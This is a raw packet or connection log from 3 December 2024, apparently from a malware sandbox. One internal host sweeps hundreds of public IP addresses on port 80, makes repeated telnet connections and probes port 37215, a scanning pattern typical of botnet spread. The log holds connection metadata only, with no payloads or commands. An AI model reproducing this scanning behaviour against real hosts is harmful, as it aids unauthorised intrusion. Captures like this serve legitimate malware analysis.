Dec 3, 2024 21:02:03.039357901 CET	20129	80	192.168.2.23	62.20.207.187
Dec 3, 2024 21:02:03.039366007 CET	20129	80	192.168.2.23	91.107.81.150
Dec 3, 2024 21:02:03.039386988 CET	20129	80	192.168.2.23	212.2.22.248
Dec 3, 2024 21:02:03.039388895 CET	52828	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:03.039405107 CET	20129	80	192.168.2.23	206.71.127.224
Dec 3, 2024 21:02:03.039405107 CET	20129	80	192.168.2.23	57.201.221.13
Dec 3, 2024 21:02:03.039405107 CET	20129	80	192.168.2.23	108.118.225.198
Dec 3, 2024 21:02:03.039407969 CET	20129	80	192.168.2.23	128.205.132.67
Dec 3, 2024 21:02:03.039414883 CET	20129	80	192.168.2.23	189.70.86.226
Dec 3, 2024 21:02:03.039417028 CET	20129	80	192.168.2.23	91.18.23.87
Dec 3, 2024 21:02:03.039417028 CET	20129	80	192.168.2.23	50.175.183.235
Dec 3, 2024 21:02:03.039417028 CET	20129	80	192.168.2.23	97.245.243.78
Dec 3, 2024 21:02:03.039428949 CET	20129	80	192.168.2.23	212.101.53.244
Dec 3, 2024 21:02:03.039428949 CET	20129	80	192.168.2.23	59.28.226.89
Dec 3, 2024 21:02:03.039434910 CET	20129	80	192.168.2.23	167.214.47.180
Dec 3, 2024 21:02:03.039444923 CET	20129	80	192.168.2.23	73.237.236.62
Dec 3, 2024 21:02:03.039446115 CET	20129	80	192.168.2.23	120.135.202.71
Dec 3, 2024 21:02:03.039450884 CET	20129	80	192.168.2.23	58.28.215.88
Dec 3, 2024 21:02:03.039458036 CET	20129	80	192.168.2.23	47.221.225.17
Dec 3, 2024 21:02:03.039460897 CET	20129	80	192.168.2.23	191.95.128.177
Dec 3, 2024 21:02:03.039478064 CET	20129	80	192.168.2.23	166.67.215.183
Dec 3, 2024 21:02:03.039478064 CET	20129	80	192.168.2.23	116.160.41.135
Dec 3, 2024 21:02:03.039478064 CET	20129	80	192.168.2.23	151.145.95.183
Dec 3, 2024 21:02:03.039478064 CET	20129	80	192.168.2.23	134.65.102.79
Dec 3, 2024 21:02:03.039485931 CET	20129	80	192.168.2.23	153.20.169.170
Dec 3, 2024 21:02:03.039490938 CET	20129	80	192.168.2.23	186.9.67.37
Dec 3, 2024 21:02:03.039495945 CET	20129	80	192.168.2.23	50.40.39.169
Dec 3, 2024 21:02:03.039501905 CET	20129	80	192.168.2.23	124.56.171.32
Dec 3, 2024 21:02:03.039508104 CET	20129	80	192.168.2.23	103.135.13.220
Dec 3, 2024 21:02:03.039510965 CET	20129	80	192.168.2.23	62.106.198.118
Dec 3, 2024 21:02:03.039530039 CET	20129	80	192.168.2.23	216.21.156.87
Dec 3, 2024 21:02:03.039530039 CET	20129	80	192.168.2.23	110.83.156.67
Dec 3, 2024 21:02:03.039531946 CET	80	49062	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.039532900 CET	20129	80	192.168.2.23	134.64.181.130
Dec 3, 2024 21:02:03.039547920 CET	20129	80	192.168.2.23	93.176.188.159
Dec 3, 2024 21:02:03.039549112 CET	20129	80	192.168.2.23	80.107.54.144
Dec 3, 2024 21:02:03.039552927 CET	20129	80	192.168.2.23	192.72.116.121
Dec 3, 2024 21:02:03.039558887 CET	80	49062	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.039562941 CET	49062	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:03.039563894 CET	20129	80	192.168.2.23	49.115.121.225
Dec 3, 2024 21:02:03.039563894 CET	20129	80	192.168.2.23	50.39.14.190
Dec 3, 2024 21:02:03.039572001 CET	20129	80	192.168.2.23	94.38.112.119
Dec 3, 2024 21:02:03.039572954 CET	20129	80	192.168.2.23	90.163.184.231
Dec 3, 2024 21:02:03.039573908 CET	20129	80	192.168.2.23	141.48.40.240
Dec 3, 2024 21:02:03.039583921 CET	20129	80	192.168.2.23	119.182.131.147
Dec 3, 2024 21:02:03.039593935 CET	20129	80	192.168.2.23	178.235.107.239
Dec 3, 2024 21:02:03.039603949 CET	20129	80	192.168.2.23	64.59.60.172
Dec 3, 2024 21:02:03.039603949 CET	20129	80	192.168.2.23	107.113.255.41
Dec 3, 2024 21:02:03.039603949 CET	20129	80	192.168.2.23	61.54.248.201
Dec 3, 2024 21:02:03.039604902 CET	20129	80	192.168.2.23	173.152.189.177
Dec 3, 2024 21:02:03.039614916 CET	20129	80	192.168.2.23	37.71.87.20
Dec 3, 2024 21:02:03.039618015 CET	20129	80	192.168.2.23	79.135.222.173
Dec 3, 2024 21:02:03.039625883 CET	20129	80	192.168.2.23	175.229.170.178
Dec 3, 2024 21:02:03.039633989 CET	20129	80	192.168.2.23	199.30.239.43
Dec 3, 2024 21:02:03.039643049 CET	20129	80	192.168.2.23	198.250.249.57
Dec 3, 2024 21:02:03.039652109 CET	80	49062	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.039654970 CET	20129	80	192.168.2.23	167.14.172.127
Dec 3, 2024 21:02:03.039658070 CET	20129	80	192.168.2.23	164.49.90.136
Dec 3, 2024 21:02:03.039660931 CET	20129	80	192.168.2.23	185.33.93.105
Dec 3, 2024 21:02:03.039658070 CET	20129	80	192.168.2.23	140.240.239.70
Dec 3, 2024 21:02:03.039670944 CET	20129	80	192.168.2.23	38.11.95.54
Dec 3, 2024 21:02:03.039679050 CET	20129	80	192.168.2.23	147.35.187.30
Dec 3, 2024 21:02:03.039685011 CET	20129	80	192.168.2.23	96.184.144.176
Dec 3, 2024 21:02:03.039695024 CET	20129	80	192.168.2.23	96.35.236.195
Dec 3, 2024 21:02:03.039697886 CET	20129	80	192.168.2.23	205.71.166.15
Dec 3, 2024 21:02:03.039702892 CET	20129	80	192.168.2.23	41.18.148.93
Dec 3, 2024 21:02:03.039705038 CET	20129	80	192.168.2.23	220.203.81.192
Dec 3, 2024 21:02:03.039712906 CET	20129	80	192.168.2.23	156.251.159.188
Dec 3, 2024 21:02:03.039724112 CET	20129	80	192.168.2.23	223.180.235.149
Dec 3, 2024 21:02:03.039725065 CET	20129	80	192.168.2.23	122.88.193.86
Dec 3, 2024 21:02:03.039725065 CET	20129	80	192.168.2.23	213.18.128.140
Dec 3, 2024 21:02:03.039725065 CET	20129	80	192.168.2.23	111.151.197.57
Dec 3, 2024 21:02:03.039726019 CET	20129	80	192.168.2.23	111.253.24.36
Dec 3, 2024 21:02:03.039726019 CET	20129	80	192.168.2.23	135.53.235.179
Dec 3, 2024 21:02:03.039745092 CET	20129	80	192.168.2.23	100.33.90.211
Dec 3, 2024 21:02:03.039745092 CET	20129	80	192.168.2.23	32.82.197.138
Dec 3, 2024 21:02:03.039752960 CET	20129	80	192.168.2.23	206.158.183.106
Dec 3, 2024 21:02:03.039761066 CET	20129	80	192.168.2.23	42.125.174.234
Dec 3, 2024 21:02:03.039792061 CET	20129	80	192.168.2.23	119.174.177.73
Dec 3, 2024 21:02:03.039792061 CET	20129	80	192.168.2.23	184.119.221.235
Dec 3, 2024 21:02:03.039793015 CET	20129	80	192.168.2.23	17.226.118.79
Dec 3, 2024 21:02:03.039792061 CET	20129	80	192.168.2.23	131.48.66.25
Dec 3, 2024 21:02:03.039792061 CET	20129	80	192.168.2.23	77.120.100.25
Dec 3, 2024 21:02:03.039792061 CET	20129	80	192.168.2.23	152.46.119.239
Dec 3, 2024 21:02:03.039803028 CET	20129	80	192.168.2.23	221.225.116.29
Dec 3, 2024 21:02:03.039803028 CET	20129	80	192.168.2.23	211.71.78.225
Dec 3, 2024 21:02:03.039803028 CET	20129	80	192.168.2.23	102.44.59.194
Dec 3, 2024 21:02:03.039803028 CET	20129	80	192.168.2.23	179.62.150.21
Dec 3, 2024 21:02:03.039803982 CET	20129	80	192.168.2.23	85.207.191.59
Dec 3, 2024 21:02:03.039803028 CET	20129	80	192.168.2.23	170.71.93.123
Dec 3, 2024 21:02:03.039810896 CET	20129	80	192.168.2.23	100.159.33.33
Dec 3, 2024 21:02:03.039824963 CET	20129	80	192.168.2.23	147.148.186.32
Dec 3, 2024 21:02:03.039825916 CET	20129	80	192.168.2.23	32.145.250.180
Dec 3, 2024 21:02:03.039827108 CET	20129	80	192.168.2.23	181.65.162.34
Dec 3, 2024 21:02:03.039829969 CET	20129	80	192.168.2.23	143.55.92.58
Dec 3, 2024 21:02:03.039829969 CET	80	49094	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.039834023 CET	20129	80	192.168.2.23	75.149.56.134
Dec 3, 2024 21:02:03.039848089 CET	20129	80	192.168.2.23	199.174.157.127
Dec 3, 2024 21:02:03.039850950 CET	20129	80	192.168.2.23	84.7.130.128
Dec 3, 2024 21:02:03.039850950 CET	20129	80	192.168.2.23	111.16.74.181
Dec 3, 2024 21:02:03.039866924 CET	49094	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:03.039869070 CET	20129	80	192.168.2.23	53.43.155.117
Dec 3, 2024 21:02:03.039870024 CET	20129	80	192.168.2.23	36.95.148.252
Dec 3, 2024 21:02:03.039870024 CET	20129	80	192.168.2.23	40.60.185.165
Dec 3, 2024 21:02:03.039872885 CET	20129	80	192.168.2.23	27.7.157.162
Dec 3, 2024 21:02:03.039881945 CET	20129	80	192.168.2.23	142.193.86.111
Dec 3, 2024 21:02:03.039889097 CET	20129	80	192.168.2.23	170.39.112.124
Dec 3, 2024 21:02:03.039889097 CET	20129	80	192.168.2.23	179.240.205.169
Dec 3, 2024 21:02:03.039894104 CET	20129	80	192.168.2.23	179.48.69.213
Dec 3, 2024 21:02:03.039896965 CET	20129	80	192.168.2.23	153.146.174.228
Dec 3, 2024 21:02:03.039908886 CET	20129	80	192.168.2.23	169.145.190.34
Dec 3, 2024 21:02:03.039908886 CET	20129	80	192.168.2.23	153.3.69.195
Dec 3, 2024 21:02:03.039911985 CET	20129	80	192.168.2.23	170.146.158.201
Dec 3, 2024 21:02:03.039927959 CET	20129	80	192.168.2.23	63.178.137.4
Dec 3, 2024 21:02:03.039931059 CET	20129	80	192.168.2.23	219.68.213.91
Dec 3, 2024 21:02:03.039931059 CET	20129	80	192.168.2.23	211.58.69.213
Dec 3, 2024 21:02:03.039937019 CET	20129	80	192.168.2.23	101.84.59.96
Dec 3, 2024 21:02:03.039938927 CET	20129	80	192.168.2.23	17.129.155.55
Dec 3, 2024 21:02:03.039949894 CET	20129	80	192.168.2.23	132.162.155.156
Dec 3, 2024 21:02:03.039952993 CET	20129	80	192.168.2.23	41.105.48.140
Dec 3, 2024 21:02:03.039952993 CET	20129	80	192.168.2.23	63.250.69.164
Dec 3, 2024 21:02:03.039964914 CET	20129	80	192.168.2.23	97.31.163.20
Dec 3, 2024 21:02:03.039968967 CET	20129	80	192.168.2.23	65.199.178.17
Dec 3, 2024 21:02:03.039978981 CET	20129	80	192.168.2.23	89.245.26.219
Dec 3, 2024 21:02:03.039985895 CET	20129	80	192.168.2.23	141.241.76.107
Dec 3, 2024 21:02:03.039990902 CET	20129	80	192.168.2.23	124.129.166.15
Dec 3, 2024 21:02:03.039997101 CET	20129	80	192.168.2.23	170.242.167.235
Dec 3, 2024 21:02:03.040003061 CET	20129	80	192.168.2.23	96.166.194.133
Dec 3, 2024 21:02:03.040009022 CET	80	41634	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.040019035 CET	20129	80	192.168.2.23	104.124.165.184
Dec 3, 2024 21:02:03.040025949 CET	20129	80	192.168.2.23	120.52.178.113
Dec 3, 2024 21:02:03.040041924 CET	20129	80	192.168.2.23	2.173.88.145
Dec 3, 2024 21:02:03.040043116 CET	41634	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:03.040050030 CET	20129	80	192.168.2.23	31.55.252.11
Dec 3, 2024 21:02:03.040059090 CET	20129	80	192.168.2.23	183.189.17.20
Dec 3, 2024 21:02:03.040061951 CET	20129	80	192.168.2.23	195.109.193.51
Dec 3, 2024 21:02:03.040067911 CET	20129	80	192.168.2.23	193.225.59.43
Dec 3, 2024 21:02:03.040080070 CET	20129	80	192.168.2.23	161.11.45.142
Dec 3, 2024 21:02:03.040080070 CET	20129	80	192.168.2.23	50.62.129.56
Dec 3, 2024 21:02:03.040080070 CET	20129	80	192.168.2.23	60.58.61.250
Dec 3, 2024 21:02:03.040083885 CET	20129	80	192.168.2.23	180.24.157.0
Dec 3, 2024 21:02:03.040102005 CET	20129	80	192.168.2.23	143.60.220.63
Dec 3, 2024 21:02:03.040105104 CET	20129	80	192.168.2.23	58.177.100.106
Dec 3, 2024 21:02:03.040110111 CET	20129	80	192.168.2.23	166.30.21.160
Dec 3, 2024 21:02:03.040112972 CET	20129	80	192.168.2.23	146.207.190.213
Dec 3, 2024 21:02:03.040124893 CET	20129	80	192.168.2.23	109.95.222.122
Dec 3, 2024 21:02:03.040129900 CET	20129	80	192.168.2.23	91.54.236.10
Dec 3, 2024 21:02:03.040131092 CET	20129	80	192.168.2.23	65.207.119.27
Dec 3, 2024 21:02:03.040136099 CET	20129	80	192.168.2.23	151.75.14.52
Dec 3, 2024 21:02:03.040141106 CET	20129	80	192.168.2.23	63.27.94.221
Dec 3, 2024 21:02:03.040149927 CET	20129	80	192.168.2.23	170.183.18.61
Dec 3, 2024 21:02:03.040149927 CET	20129	80	192.168.2.23	164.240.117.222
Dec 3, 2024 21:02:03.040167093 CET	20129	80	192.168.2.23	1.240.243.67
Dec 3, 2024 21:02:03.040170908 CET	20129	80	192.168.2.23	20.204.242.61
Dec 3, 2024 21:02:03.040170908 CET	20129	80	192.168.2.23	31.229.177.209
Dec 3, 2024 21:02:03.040180922 CET	20129	80	192.168.2.23	95.183.121.169
Dec 3, 2024 21:02:03.040183067 CET	20129	80	192.168.2.23	141.185.173.205
Dec 3, 2024 21:02:03.040190935 CET	20129	80	192.168.2.23	195.185.136.109
Dec 3, 2024 21:02:03.040194035 CET	20129	80	192.168.2.23	24.59.158.15
Dec 3, 2024 21:02:03.040199995 CET	20129	80	192.168.2.23	23.222.8.87
Dec 3, 2024 21:02:03.040205002 CET	80	41634	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.040213108 CET	20129	80	192.168.2.23	104.142.42.130
Dec 3, 2024 21:02:03.040215015 CET	20129	80	192.168.2.23	194.37.73.250
Dec 3, 2024 21:02:03.040215015 CET	20129	80	192.168.2.23	161.185.255.232
Dec 3, 2024 21:02:03.040215969 CET	20129	80	192.168.2.23	50.125.87.4
Dec 3, 2024 21:02:03.040221930 CET	20129	80	192.168.2.23	165.118.143.237
Dec 3, 2024 21:02:03.040240049 CET	20129	80	192.168.2.23	148.241.197.71
Dec 3, 2024 21:02:03.040241957 CET	20129	80	192.168.2.23	205.149.43.110
Dec 3, 2024 21:02:03.040241957 CET	20129	80	192.168.2.23	192.157.249.219
Dec 3, 2024 21:02:03.040247917 CET	20129	80	192.168.2.23	60.240.75.89
Dec 3, 2024 21:02:03.040262938 CET	20129	80	192.168.2.23	80.84.168.23
Dec 3, 2024 21:02:03.040262938 CET	20129	80	192.168.2.23	98.9.176.212
Dec 3, 2024 21:02:03.040271044 CET	20129	80	192.168.2.23	101.13.85.225
Dec 3, 2024 21:02:03.040271997 CET	20129	80	192.168.2.23	182.44.129.74
Dec 3, 2024 21:02:03.040278912 CET	20129	80	192.168.2.23	99.129.17.245
Dec 3, 2024 21:02:03.040283918 CET	20129	80	192.168.2.23	110.197.183.212
Dec 3, 2024 21:02:03.040301085 CET	80	41634	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.040306091 CET	20129	80	192.168.2.23	222.169.87.37
Dec 3, 2024 21:02:03.040307999 CET	20129	80	192.168.2.23	115.112.222.93
Dec 3, 2024 21:02:03.040313959 CET	20129	80	192.168.2.23	138.121.207.227
Dec 3, 2024 21:02:03.040313959 CET	20129	80	192.168.2.23	4.38.120.113
Dec 3, 2024 21:02:03.040313959 CET	20129	80	192.168.2.23	223.39.155.56
Dec 3, 2024 21:02:03.040314913 CET	20129	80	192.168.2.23	19.125.89.66
Dec 3, 2024 21:02:03.040327072 CET	20129	80	192.168.2.23	47.195.222.202
Dec 3, 2024 21:02:03.040337086 CET	20129	80	192.168.2.23	38.147.156.248
Dec 3, 2024 21:02:03.040340900 CET	20129	80	192.168.2.23	103.248.196.117
Dec 3, 2024 21:02:03.040352106 CET	20129	80	192.168.2.23	98.81.147.100
Dec 3, 2024 21:02:03.040357113 CET	20129	80	192.168.2.23	128.229.190.181
Dec 3, 2024 21:02:03.040364027 CET	20129	80	192.168.2.23	142.130.28.73
Dec 3, 2024 21:02:03.040366888 CET	20129	80	192.168.2.23	136.103.13.241
Dec 3, 2024 21:02:03.040381908 CET	20129	80	192.168.2.23	60.30.64.252
Dec 3, 2024 21:02:03.040384054 CET	20129	80	192.168.2.23	197.92.89.61
Dec 3, 2024 21:02:03.040385962 CET	20129	80	192.168.2.23	44.243.158.188
Dec 3, 2024 21:02:03.040395975 CET	20129	80	192.168.2.23	140.167.86.155
Dec 3, 2024 21:02:03.040396929 CET	20129	80	192.168.2.23	102.72.179.13
Dec 3, 2024 21:02:03.040404081 CET	20129	80	192.168.2.23	147.239.81.151
Dec 3, 2024 21:02:03.040411949 CET	80	41666	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.040411949 CET	20129	80	192.168.2.23	107.184.71.184
Dec 3, 2024 21:02:03.040443897 CET	41666	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:03.040523052 CET	52828	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:03.040529013 CET	49094	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:03.040529013 CET	41666	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:03.048855066 CET	23	60836	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.048958063 CET	60836	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.049344063 CET	60874	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.051212072 CET	23	50342	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.051491976 CET	23	50400	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.051532984 CET	50400	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.060396910 CET	23	50140	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.060473919 CET	23	50198	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.060530901 CET	50198	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.062263966 CET	23	51320	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.062314034 CET	51320	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.062668085 CET	51358	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.075347900 CET	23	19873	205.167.125.147	192.168.2.23
Dec 3, 2024 21:02:03.075381041 CET	23	19873	216.74.153.9	192.168.2.23
Dec 3, 2024 21:02:03.075404882 CET	19873	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:03.075427055 CET	23	19873	135.105.91.37	192.168.2.23
Dec 3, 2024 21:02:03.075431108 CET	19873	23	192.168.2.23	216.74.153.9
Dec 3, 2024 21:02:03.075472116 CET	19873	23	192.168.2.23	135.105.91.37
Dec 3, 2024 21:02:03.075557947 CET	23	37264	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:03.075613976 CET	37264	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:03.076015949 CET	37302	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:03.076631069 CET	41954	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:03.077219963 CET	58516	23	192.168.2.23	216.74.153.9
Dec 3, 2024 21:02:03.077399015 CET	23	54080	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:03.077819109 CET	40650	23	192.168.2.23	135.105.91.37
Dec 3, 2024 21:02:03.082688093 CET	23	38984	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:03.082746029 CET	38984	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:03.083156109 CET	39026	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:03.092809916 CET	23	37040	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.093127966 CET	23	37098	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.093177080 CET	37098	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.093477011 CET	23	60136	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:03.113651991 CET	23	46408	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.113799095 CET	23	46466	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.113856077 CET	46466	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.114314079 CET	23	34598	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.114366055 CET	34598	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.114749908 CET	34640	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.117506981 CET	23	46636	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.117537022 CET	23	40342	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:03.117552996 CET	46636	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.117584944 CET	40342	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:03.119676113 CET	23	47678	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:03.120282888 CET	23	60528	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:03.122730017 CET	23	39366	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.122783899 CET	39366	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.123143911 CET	39408	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.149606943 CET	23	47922	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.149621964 CET	23	47778	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.149663925 CET	47922	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.149683952 CET	47778	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.158833027 CET	80	20129	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:03.158864975 CET	80	20129	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.158888102 CET	20129	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.158898115 CET	20129	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.159007072 CET	80	33140	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:03.159044981 CET	33140	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:03.159497023 CET	80	49062	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.159619093 CET	80	52828	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.159662008 CET	52828	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:03.159924030 CET	80	41634	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.160383940 CET	80	52828	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.164345026 CET	80	41666	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.164356947 CET	80	49094	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.168895960 CET	23	60836	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.169369936 CET	23	60874	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.169410944 CET	60874	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.178322077 CET	80	49094	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:03.178370953 CET	49094	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:03.180447102 CET	80	41666	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:03.180491924 CET	41666	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:03.180632114 CET	23	50400	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.180691957 CET	50400	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.180764914 CET	23	50198	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.181119919 CET	50434	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.181396008 CET	50198	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.181529999 CET	50198	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.181772947 CET	50232	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.182231903 CET	23	51320	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.182635069 CET	23	51358	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.182681084 CET	51358	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.189405918 CET	45298	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.189405918 CET	59314	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:03.189405918 CET	42478	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.189405918 CET	55034	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:03.189405918 CET	43650	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:03.189414978 CET	54526	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:03.189414978 CET	49636	37215	192.168.2.23	197.187.62.73
Dec 3, 2024 21:02:03.189414978 CET	37798	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:03.189419031 CET	38860	37215	192.168.2.23	41.81.232.0
Dec 3, 2024 21:02:03.189434052 CET	51228	37215	192.168.2.23	197.155.146.255
Dec 3, 2024 21:02:03.189440012 CET	58276	37215	192.168.2.23	197.75.140.151
Dec 3, 2024 21:02:03.189440966 CET	51878	37215	192.168.2.23	197.228.160.87
Dec 3, 2024 21:02:03.189440966 CET	43200	37215	192.168.2.23	197.174.145.217
Dec 3, 2024 21:02:03.189440966 CET	49040	37215	192.168.2.23	41.38.117.184
Dec 3, 2024 21:02:03.195492029 CET	23	37264	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:03.196222067 CET	23	37302	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:03.196265936 CET	37302	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:03.196535110 CET	23	41954	205.167.125.147	192.168.2.23
Dec 3, 2024 21:02:03.196578026 CET	41954	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:03.202630043 CET	23	38984	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:03.213378906 CET	23	37098	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.213474989 CET	37098	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.213901043 CET	37130	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.221398115 CET	50762	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.221402884 CET	60080	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.234136105 CET	23	46466	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.234189034 CET	46466	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.234246016 CET	23	34598	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.234600067 CET	46496	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.234638929 CET	23	34640	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.234684944 CET	34640	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.237766981 CET	23	46636	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.237816095 CET	46636	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.237904072 CET	23	40342	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:03.238157034 CET	46874	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.238535881 CET	40342	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:03.238814116 CET	40584	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:03.242698908 CET	23	39366	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.243104935 CET	23	39408	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.243148088 CET	39408	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.270000935 CET	23	47922	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.270062923 CET	47922	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.270127058 CET	23	47778	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.270481110 CET	48158	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.270838976 CET	47778	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.271203041 CET	48014	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.289680958 CET	23	60874	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.289773941 CET	60874	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.290200949 CET	60908	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.300905943 CET	23	50400	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.301300049 CET	23	50434	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.301342964 CET	50434	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.301563025 CET	23	50198	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.301765919 CET	23	50232	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.301806927 CET	50232	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.302731037 CET	23	51358	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.302803040 CET	51358	23	192.168.2.23	74.221.182.117
